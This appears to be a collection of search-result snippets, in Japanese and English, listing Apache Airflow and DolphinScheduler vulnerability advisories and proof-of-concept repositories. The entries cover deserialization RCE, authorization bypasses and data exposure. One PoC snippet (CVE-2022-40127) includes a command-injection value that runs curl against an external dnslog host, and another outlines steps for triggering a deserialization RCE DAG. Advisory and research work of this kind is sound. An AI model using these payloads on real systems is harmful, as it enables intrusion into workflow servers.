gha-lab-f894926966

自動生成された研究アーティファクト — 上流プロジェクトではありません。 このリポジトリは、ラヴァル大学の修士論文のために、公開されているGitHub Actionsワークフローの脆弱性を再現する目的で自動化ハーネスによって構築された使い捨てラボです。これは、コミット464c75ad8676e930f5ffd848312b7969b96844d7（2025-07-04）時点のastronomer/dag-factoryの逐語的なスナップショットであり、そのプロジェクト自身のライセンスの下で再配布されています。そのライセンスファイルはこのスナップショットに変更なしで含まれています。...

poc-cve-2025-69219

CVE-2025-69219 Apache Airflow の安全でないデシリアライゼーションによるRCE 1. poc.py をあなたの Airflow dags ディレクトリにコピーします。 2. UI から poc ワークフローをトリガーします。 3. タスクログで実行出力を確認します。...

CVE-2026-59243_exploit

CVE-2026-59243 — Apache Airflow FAB Provider OAuth 認証バイパス → DAG RCE Apache Airflow の FAB 認証マネージャープロバイダー（apache-airflow-providers-fab）における認証バイパス。トリガーされた DAG を介してリモートコード実行（RCE）に至ります。 このプロバイダーは Azure OAuthidtoken を、署名検証がデフォルトで無効のままデコードします（airflow/providers/fab/authmanager/securitymanager/override.py...

apache__dolphinscheduler_CVE-2023-51770_3-2-00

Apache Dolphinscheduler 概要 Apache DolphinSchedulerは、アジャイルでローコードな高性能ワークフロー開発を実現する最新のデータオーケストレーションプラットフォームです。データパイプラインにおける複雑なタスク依存関係の処理に特化しており、豊富な組み込みジョブタイプをすぐに利用可能 な状態で提供します。 DolphinSchedulerの主な特徴は次のとおりです。 デプロイが容易: Standalone、Cluster、Docker、Kubernetesの4つのデプロイモードを提供します。 使いやすい: Web UI、Python...

apache__dolphinscheduler_CVE-2023-49109_3-2-0

Apache Dolphinscheduler 概要 Apache DolphinSchedulerは、アジャイルでローコードな高性能ワークフローの開発を可能にする最新のデータオーケストレーションプラットフォームです。データパイプライン内の複雑なタスク依存関係の処理に特化しており、すぐに使用できる 多彩な組み込みジョブタイプを提供します。 DolphinSchedulerの主な特徴は以下の通りです。 デプロイが容易で、Standalone、Cluster、Docker、Kubernetesを含む4つのデプロイモードを提供します。 使いやすく、ワークフローはWeb UI、Python...

Exposure of Data Element to Wrong Session

Overview Affected versions of this package are vulnerable to Exposure of Data Element to Wrong Session via the GET /api/v2/assets/events endpoint in assets.py, which applies only a global "Assets" resource check via requiresaccessassetmethod="GET" and no per-DAG row filter. A caller with read...

CVE-2026-75158

Apache Airflow's /assets/events API returned asset events for every Dag in the deployment, with no filter restricting them to the Dags the caller is authorized to read. Any authenticated user holding asset-read access could therefore enumerate asset events — including the source Dag ID, task ID,...

CVE-2026-75158 Apache Airflow: Assets events API returns asset events for every Dag with no per-Dag authorization filter

Apache Airflow's /assets/events API returned asset events for every Dag in the deployment, with no filter restricting them to the Dags the caller is authorized to read. Any authenticated user holding asset-read access could therefore enumerate asset events — including the source Dag ID, task ID,...

CVE-2026-75158: Exposure of Sensitive Information to an Unauthorized Actor

Apache Airflow's /assets/events API returned asset events for every Dag in the deployment, with no filter restricting them to the Dags the caller is authorized to read. Any authenticated user holding asset-read access could therefore enumerate asset events — including the source Dag ID, task ID,...

CVE-2022-40127

CVE-2022-40127 Apache Airflow .env docker-compose up airflow-init docker-compose up -d waiting some times open localhost:8080 PoC 1 examplebashoperator root@kitploit: "fxoxx":"";curl uname.lxx2.535ld4zn.dnslog.pw;"" dnslog 経由 PoC 2...

CVE-2026-75157 Apache Airflow: Asset queued-events DELETE endpoints gated on Dag READ instead of Dag EDIT (asset-triggered scheduling suppression)

Apache Airflow's asset queued-events DELETE endpoints checked the caller's Dag-axis permission with READ instead of EDIT. Any authenticated user who could read a Dag could therefore delete that Dag's queued asset events, silently suppressing asset-triggered scheduling for it — a state-changing...

CVE-2026-75157 Apache Airflow: Asset queued-events DELETE endpoints gated on Dag READ instead of Dag EDIT (asset-triggered scheduling suppression)

Apache Airflow's asset queued-events DELETE endpoints checked the caller's Dag-axis permission with READ instead of EDIT. Any authenticated user who could read a Dag could therefore delete that Dag's queued asset events, silently suppressing asset-triggered scheduling for it — a state-changing...

BIT-AIRFLOW-2026-67260 Apache Airflow: DAG-author remote code execution on the Scheduler via awaiting_input next_kwargs deserialization

Apache Airflow 3.3.0 moved human-in-the-loop tasks from the triggerer to a new awaitinginput task state swept by the scheduler. That sweep deserializes the task instance's nextkwargs without an allow-list, so a Dag author — who controls that value through the task execution API — can cause an...

BIT-AIRFLOW-2026-68971 Apache Airflow: Cross-team authorization bypass in the asset materialization and dag-run result endpoints

Apache Airflow's asset materialization endpoint POST /api/v2/assets/assetid/materialize and the XCom result check on waitdagrununtilfinished authorized the target Dag without its team, unlike every other authorization site. A team-aware auth manager distinguishes a team-scoped Dag from a global o...

PT-2026-73241

Apache Airflow's asset materialization endpoint POST /api/v2/assets/asset id/materialize and the XCom result check on wait dag run until finished authorized the target Dag without its team, unlike every other authorization site. A team-aware auth manager distinguishes a team-scoped Dag from a...

Deserialization of Untrusted Data

Overview apache-airflow-task-sdk is a The Apache Airflow Task SDK includes interfaces for Dag authors and Task execution logic for Python. Affected versions of this package are vulnerable to Deserialization of Untrusted Data in the deserialization of the Callback object, which reconstructs the...

Interpretation Conflict

Overview Affected versions of this package are vulnerable to Interpretation Conflict due to inconsistent parsing of the backfillid path segment between the authorization dependency and the route handler. An attacker can gain unauthorized access to read, pause, and cancel backfills for other Dags,...

Deserialization of Untrusted Data

Overview Affected versions of this package are vulnerable to Deserialization of Untrusted Data in the deserialize. An attacker can execute arbitrary code by supplying a crafted serialized blob that causes the import and invocation of malicious callables. This can be exploited by a DAG author...

Deserialization of Untrusted Data

Overview Affected versions of this package are vulnerable to Deserialization of Untrusted Data in the awaitinginput. An attacker can execute arbitrary code or terminate the scheduler process by supplying crafted data to the nextkwargs parameter during task execution. Note: This is only exploitabl...

PYSEC-2026-3710

Apache Airflow's Backfill API authorized a request against a Dag id supplied by the caller whenever the backfillid path segment failed to parse. The authorization dependency parsed it with int while the route handler parsed it as pydantic's NonNegativeInt, which accepts values int rejects 1.0...